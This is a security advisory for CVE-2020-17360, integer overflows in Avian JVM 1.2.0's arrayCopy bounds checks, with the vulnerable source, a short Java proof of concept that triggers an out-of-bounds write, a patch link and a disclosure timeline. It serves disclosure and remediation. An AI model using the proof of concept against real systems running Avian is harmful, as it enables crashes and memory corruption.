Avian JVM version 1.2.0 suffers from multiple vm::arrayCopy() integer overflow vulnerabilities.
c9ea3002edc4dc27f2032a67653773ac
Vulnerability title: Avian JVM vm::arrayCopy() Multiple Integer Overflows
Author: Pietro Oliva
CVE: CVE-2020-17360
Vendor: ReadyTalk
Product: Avian JVM
Affected version: 1.2.0
Description:
The issue is located in the vm::arrayCopy method defined in classpath-common.h,
where multiple boundary checks are performed to prevent out-of-bounds memory
read/write. Two of those boundary checks contain an integer overflow which leads
to those same checks being bypassed and out-of-bounds read/write.
Impact:
Attackers could exploit this vulnerability to read/write arbitrary content in
the JVM memory. This could in turn result in denial of service, memory
disclosure, or arbitrary code execution in the context of the JVM.
Exploitation:
The following PoC would trigger an out-of-bounds write and crash of Avian JVM:
import java.lang.*;
public class poc {
public static void main(String[] args) {
byte[] src = "This is src".getBytes();
byte[] dst = "This is dst".getBytes();
// Triggering out-of-bounds write via integer overflow on System.arraycopy
System.arraycopy(src, 0, dst, 0x7fffffff, 1);
}
}
Evidence:
void arrayCopy(Thread* t,
object src,
int32_t srcOffset,
object dst,
int32_t dstOffset,
int32_t length)
{
if (LIKELY(src and dst)) {
if (LIKELY(compatibleArrayTypes(
t, objectClass(t, src), objectClass(t, dst)))) {
unsigned elementSize = objectClass(t, src)->arrayElementSize();
if (LIKELY(elementSize)) {
intptr_t sl = fieldAtOffset<uintptr_t>(src, BytesPerWord);
intptr_t dl = fieldAtOffset<uintptr_t>(dst, BytesPerWord);
if (LIKELY(length > 0)) {
if (LIKELY(srcOffset >= 0 and srcOffset + length <= sl // integer OF
/*integer overflow*/ and dstOffset >= 0 and dstOffset + length <= dl)) {
uint8_t* sbody = &fieldAtOffset<uint8_t>(src, ArrayBody);
uint8_t* dbody = &fieldAtOffset<uint8_t>(dst, ArrayBody);
if (src == dst) {
memmove(dbody + (dstOffset * elementSize),
sbody + (srcOffset * elementSize),
length * elementSize);
} else {
memcpy(dbody + (dstOffset * elementSize),
sbody + (srcOffset * elementSize),
length * elementSize);
}
if (objectClass(t, dst)->objectMask()) {
mark(t, dst, ArrayBody + (dstOffset * BytesPerWord), length);
}
return;
} else {
throwNew(t, GcIndexOutOfBoundsException::Type);
}
} else {
return;
}
}
}
} else {
throwNew(t, GcNullPointerException::Type);
return;
}
throwNew(t, GcArrayStoreException::Type);
}
As can be seen in the two lines commented above, offset+length can overflow and
the size checks would be bypassed. Overflowing srcOffset+length would trigger an
out-of-bounds read in either memmove or memcpy, while overflowing dstOffset +
length would trigger an out-of-bounds write in the same methods.
Mitigating factors:
Since both offsets and length need to be positive integers, there is a limited
range of memory where an attacker could read or write as a result of this
vulnerability.
Remediation:
A patch has been merged in the master branch:
https://github.com/ReadyTalk/avian/pull/571
Disclosure timeline:
3rd August 2020 - Vulnerability reported.
3rd August 2020 - Vulnerability acknowledged.
4th August 2020 - CVE request sent to Mitre.
5th August 2020 - CVE assigned.
10th August 2020 - Proposed patch via pull request.
10th August 2020 - Patch approved and merged after changes.
10th August 2020 - Vulnerability details shared on fulldisclosure.